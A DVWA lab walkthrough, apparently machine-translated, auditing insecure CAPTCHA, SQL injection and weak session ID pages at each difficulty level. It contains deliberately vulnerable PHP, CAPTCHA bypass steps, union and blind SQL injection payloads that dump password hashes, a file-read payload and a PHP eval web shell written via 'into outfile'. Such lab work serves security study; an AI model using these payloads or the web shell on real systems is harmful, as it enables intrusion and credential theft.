Unsafe captcha
Low
The first is to analyze the code. The code is a little long and has not been analyzed before, so it takes a little longer.
<?php if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key'], $_POST['g-recaptcha-response'] ); // Did the CAPTCHA fail? if( !$resp ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo " <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> <form action=\"#\" method=\"POST\"> <input type=\"hidden\" name=\"step\" value=\"2\" /> <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /> <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /> <input type=\"submit\" name=\"Change\" value=\"Change\" /> </form>"; } else { // Both new passwords do not match. $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the end user echo "<pre>Password Changed.</pre>"; } else { // Issue with the passwords matching echo "<pre>Passwords did not match.</pre>"; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
At first glance, there is no problem with this code. The process of changing the password is divided into two parts. When step=1, check the verification code entered by the user, and when step=2, the server changes the password. First, try to modify it directly and find that WARNING is reported,
If the direct modification is not successful, it means that there is a fault on the server, that is, there is a problem in the second part. Then re conduct the code audit and find that it only verifies the step and change parameters, that is, you can use the success of the first step to jump directly to the second step, and the parameter modification must be burst to capture packets,
Change step to 2 and bypass the verification code.
Medium
Compared with the low level, the medium level code adds a parameter check. That is to check passed in the second part_ captcha. In essence, there is no difference. Logic vulnerabilities still exist. You can still bypass the check by capturing packets, modifying parameters and adding parameters.
<?php if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_POST['g-recaptcha-response'] ); // Did the CAPTCHA fail? if( !$resp ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo " <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> <form action=\"#\" method=\"POST\"> <input type=\"hidden\" name=\"step\" value=\"2\" /> <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /> <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /> <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" /> <input type=\"submit\" name=\"Change\" value=\"Change\" /> </form>"; } else { // Both new passwords do not match. $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if they did stage 1 if( !$_POST[ 'passed_captcha' ] ) { $html .= "<pre><br />You have not passed the CAPTCHA.</pre>"; $hide_form = false; return; } // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the end user echo "<pre>Password Changed.</pre>"; } else { // Issue with the passwords matching echo "<pre>Passwords did not match.</pre>"; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Capture the package, modify the step and add the parameter passed_captcha.
Password changed successfully.
High
<?php if( isset( $_POST[ 'Change' ] ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_POST['g-recaptcha-response'] ); if ( $resp || ( $_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3' && $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA' ) ){ // CAPTCHA was correct. Do both new passwords match? if ($pass_new == $pass_conf) { $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for user echo "<pre>Password Changed.</pre>"; } else { // Ops. Password mismatch $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } else { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
The code audit of high-level code shows that the logic is different from that of low and medium levels. High level verification $resp | ($_post ['g-recaptcha-response'] = = 'hidd3n_valu3' & & $_server ['HTTP_USER_AGENT'] = = 'reCAPTCHA'
)
That is, the parameter $resp, that is, the verification result of the verification code returned by Google is true or g-recaptcha-response is hidd3n_ Value3, and user in the HTTP header_ Agent is reCAPTCHA. Because I did the experiment in the virtual machine without wall climbing software, I couldn't display the verification code in the packet capture, so I couldn't start from the verification code. We can only think of a way here in the last two parameters. Or grab the bag.
Modify the value of user agent and add the parameter g-recaptcha-response with the value of hidd3n_valu3. Then release the packet, and the password is modified successfully.
Impossible
After the level is adjusted to impossible, it is found that the interface is different. In addition to the new password, you also need to enter the existing password or conduct code audit. Analyze the verification logic.
<?php if( isset( $_POST[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_new = stripslashes( $pass_new ); $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); $pass_conf = $_POST[ 'password_conf' ]; $pass_conf = stripslashes( $pass_conf ); $pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_conf = md5( $pass_conf ); $pass_curr = $_POST[ 'password_current' ]; $pass_curr = stripslashes( $pass_curr ); $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_curr = md5( $pass_curr ); // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_POST['g-recaptcha-response'] ); // Did the CAPTCHA fail? if( !$resp ) { // What happens when the CAPTCHA was entered incorrectly echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // Check that the current password is correct $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute(); // Do both new password match and was the current password correct? if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) { // Update the database $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute(); // Feedback for the end user - success! echo "<pre>Password Changed.</pre>"; } else { // Feedback for the end user - failed! echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>"; $hide_form = false; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
There is a familiar anti CSRF verification token in the code. And the three passwords entered are MD5 encrypted. Moreover, the subsequent verification logic is only Google's judgment parameter $resp for the verification code. There are no other conditions. The safety factor increases, and I can't crack it for the time being.
SQL Injection
Low
SQL injection means that an attacker executes malicious behavior by injecting malicious SQL statements. Here you need to know the common SQL commands. The common ideas of SQL injection are as follows
Find the injection point through web Scanning tool implementation Through the injection point, try to obtain the relevant information of the database Guess the tables and important fields and contents of the database Get user information for background login Use the information obtained in the background to attack and upload shell,Or further rights, etc
Manual injection steps (non blind injection)
Judge whether there is injection and whether the injection is character type or number type Guess solution SQL Number of fields in the query statement Determines the order in which the fields are displayed Get current database Get tables in the database Gets the field name in the table Download data
Code audit of low level.
<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>
Analysis of the code shows that the server does not filter the parameter id and can inject.
Try to inject 1, find injectable, and then verify the type of injection.
Inject 1 'or' 2 '=' 2. It is found that multiple results are returned. The query results can be returned without single quotation marks at the end of the injection statement, indicating that the SQL statement is assembled with single quotation marks in the background, so there is character injection. Next, guess the number of fields. Try to inject 1 'or1=1 order by 1# the last number increases in turn. Order by 1 means to sort by column 1, # is a comment, which means that the following content appears as a comment. When an error is found at three, if there is no third column, it indicates that there are only two fields, namely first name and surname.
Next, determine the display order of the two fields. In fact, the order can be seen from the previous screenshot, but if there are multiple fields, the displayed fields may not be judged. Try to inject the statement 1 'union select 1,2#. Union query is to combine two or more SQL query statements into a new result set after removing the duplicates. If a number is after the select, it means the query number. If it is a letter, it is retrieved according to the column name.
Next, get the current database. Inject the command 1 'union select 1,database() #, and get the name of the database.
The select statement can also use some functions to view some important information, such as 1 'union select user(),database() # to view user information.
The next step is to get the tables in the database. The injection command is 1 'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #, get the information of the table. There are two tables, guestbook and users, and then get the field name of the users table. The command is 1 'union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema = 'dvwa' #, a total of eight field names, user_id,first_name,last_name,user,password,avatar,last_login,failed_login.
After obtaining the information of tables and fields, download the final data and inject 1 'union select group_concat(user),group_concat(password) from users # obtains the user name and password. The password value is the value encrypted by MD5. After decryption, you can get the password, abc123, charley, letmein and password respectively.
The above routine steps have been completed. Next, try to carry out a deeper injection attack and try to obtain the root user. The injection command is 1 'union select 1, group_concat(user) from mysql.user#.
Next, we read and write files to get the shell, inject the commands 1 'union select' yy ', 2 into outfile' yy '#, try and error, and get the absolute path. Or if the absolute path has been obtained in the previous experiment, you can skip this step.
After obtaining the absolute path, inject 1 'union select 1,load_file('c: / phpstudy_pro / www / DVWA master / PHP. Ini ') # get file information.
Then write a shell and inject 1 'union select 1,' <? php @eval($_POST["fx"]);?>’ into outfile ‘C:/phpstudy_pro/WWW/DVWA-master/hackable/uploads/fx.php’#
Although WARNING is reported, FX has been generated in the root directory of the server PHP file.
Next, use the ant sword to connect. The password is fx.
After connecting, you can view all files in the root directory of the server.
Medium
The first is to conduct code audit.
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>
Analysis of the code shows that MySQL is used in this level_ real_ escape_ The string function filters special symbols and sets an optional menu to control user input, but the parameters can be modified by capturing packets.
Modify the value of id for injection.
Note that when special characters such as single quotation marks are escaped, they can be bypassed in hexadecimal.
High
<?php if( isset( $_SESSION [ 'id' ] ) ) { // Get input $id = $_SESSION[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
The high level code adds limit 1, which limits only one output, and the injection page and return page are on different pages. sqlmap injection is prevented.
Although the limit is to enter only one line, it can be commented out by #.
Impossible
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowCount() == 1 ) { // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
anti CSRF token detection is added to the imposible code, and PDO technology is adopted in the code to draw a clear line between code and data. PDO is a unified interface provided by PHP Data Object for PHP to operate multiple databases. Special characters can be filtered through the quote() method and bindparameter() method binding parameters to prevent SQL injection.
SQL Injection (blind)
Low
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Get input $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Boolean blind note
According to the source code, although the server does not review the injection, the returned results show that there are only two User ID exists in the database, and User ID is MISSING from the database.
Because we can't get detailed information, only yes or no, so our design problems must be able to get the information we want. Just input 1, the feedback exists, now input 1 ', the result does not exist, then it should be character blind annotation.
Next, guess the database name. Since the answer to the question can only be yes or no, we should consider pertinence when designing the question. Just like you say I guess the game, we want to ask the answer a few words, and then what is related. We also ask the database name a few words first. Inject 1 'and length(database())=1 # feedback no, indicating that the database name is not a word, and then increase successively. When the feedback is correct at 4, it indicates that the database name is 4 words. Next, because the database name is a character, it is considered to judge through ASCII code value. 1 'and ASCII (substr (databse(), 1,1)) > 97# and 1' and ASCII (substr (databse(), 1,1)) < 122 # return correct, indicating that the first character is a lowercase letter. Then, through binary search, finally determine the exact ASCII code value of the first character, and so on to determine the second, third and fourth characters. Finally, I got the database name dvwa. Because I know the database name, I didn't try. It should be very cumbersome to really try.
Next, guess the number of tables in the database. First, inject the number of tables to try to obtain, 1 'and (select count(table_name) from information_schema.tables where table_schema=database())=1 #, display error, indicating that it is not a table, 1 'and (select count(table_name) from information_schema.tables where table_schema=database())=2# returns the correct description. There are two tables. Next, guess the name of the first table. It is the same as guessing the database name. First guess the number of characters of the name, and then use bisection to determine the final real string. 1 'and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # this is the command to guess the number of characters, 1' and ASCII (substr ((select table_name from information_schema.tables where table_schema = database() limit 0,1), 1,1)) > 97 # this is the command for binary search. Guess that the table names are guestbook and users respectively.
This method is also used to guess the field name and data later.
Time blind injection
The principle of time blind injection is to judge whether the result has time delay through the sleep() function. For example, 1 and sleep(5) # have no delay, while 1 'and sleep(5) # find obvious time delay, indicating that it is character injection. If you want to see a more obvious time delay, you can change the number in the sleep () function a little larger.
Medium
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } //mysql_close(); } ?>
After analyzing the code, it is found that the result display is different from manual injection. The method is also to capture the package and modify the id.
High
<?php if( isset( $_COOKIE[ 'id' ] ) ) { // Get input $id = $_COOKIE[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
When the SQL query is empty, the sleep() function is used to disrupt the time-based blind annotation. But we can still use Boolean blind note.
Impossible
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); // Get results if( $data->rowCount() == 1 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
Like manual injection, the security level is very high, and the results show only yes and No.
Weak session ID s
To understand the vulnerability details of weak session ID, we first need to understand that the http protocol is stateless and does not retain user information on the server, so users need to log in repeatedly to maintain continuous access. In order to solve this problem, the server will generate a user session flag session, and then feed back the sessionID to the client. In this way, the client can access it only by including the sessionID in the cookie without logging in again. In this way, the vulnerability is formed. Instead of cracking the user's password, the attacker can access the server and obtain information only by obtaining the sessionID. The attack in this case is generally based on the fact that it is easier to obtain the sessionID than the user name and password.
Low
<?php $html = ""; if ($_SERVER['REQUEST_METHOD'] == "POST") { if (!isset ($_SESSION['last_session_id'])) { $_SESSION['last_session_id'] = 0; } $_SESSION['last_session_id']++; $cookie_value = $_SESSION['last_session_id']; setcookie("dvwaSession", $cookie_value); } ?>
The first is to conduct code audit. As can be seen from the code, the sessionID is accumulated directly, so it is easy to guess and obtain. First, click generate to perform packet capture analysis. It is found that dvwasession s are accumulated in turn, just like the code.
The next time is 3. We save the value of PHPSESSID first, which is ifd2arcu8d1e303dbm2bao25kd. Then copy the web address http://ip Address / DVWA master / vulnerabilities / weak_ ID /, open in another browser. Found that login is required.
Capture packets and modify parameters.
Then release. It is found that you can access it without logging in.
Medium
<?php $html = ""; if ($_SERVER['REQUEST_METHOD'] == "POST") { $cookie_value = time(); setcookie("dvwaSession", $cookie_value); } ?>
medium level code is very short, but it is not easy to crack, because dvwasession changes over time. Here, we can use the timestamp tool to convert a certain time in the future, then capture and modify it, and submit it at that time point.
High
<?php $html = ""; if ($_SERVER['REQUEST_METHOD'] == "POST") { if (!isset ($_SESSION['last_session_id_high'])) { $_SESSION['last_session_id_high'] = 0; } $_SESSION['last_session_id_high']++; $cookie_value = md5($_SESSION['last_session_id_high']); setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false); } ?>
The code of high level is very similar to that of low level, which are accumulated in turn, but the difference is that MD5 encryption is used here. Then we can use the online ready-made encryption tool to encrypt dvwasession and then inject the ciphertext.
Impossible
<?php $html = ""; if ($_SERVER['REQUEST_METHOD'] == "POST") { $cookie_value = sha1(mt_rand() . time() . "Impossible"); setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true); } ?>
It can be seen from the code that the value of the cookie is sha1 calculated by random number + timestamp + string "Impossible". There are ready-made tools on the sha1 encryption network. The timestamp is also known. The string is known, but the random number is not known. The random number generated by the same random number function is different every time. It's hard to understand.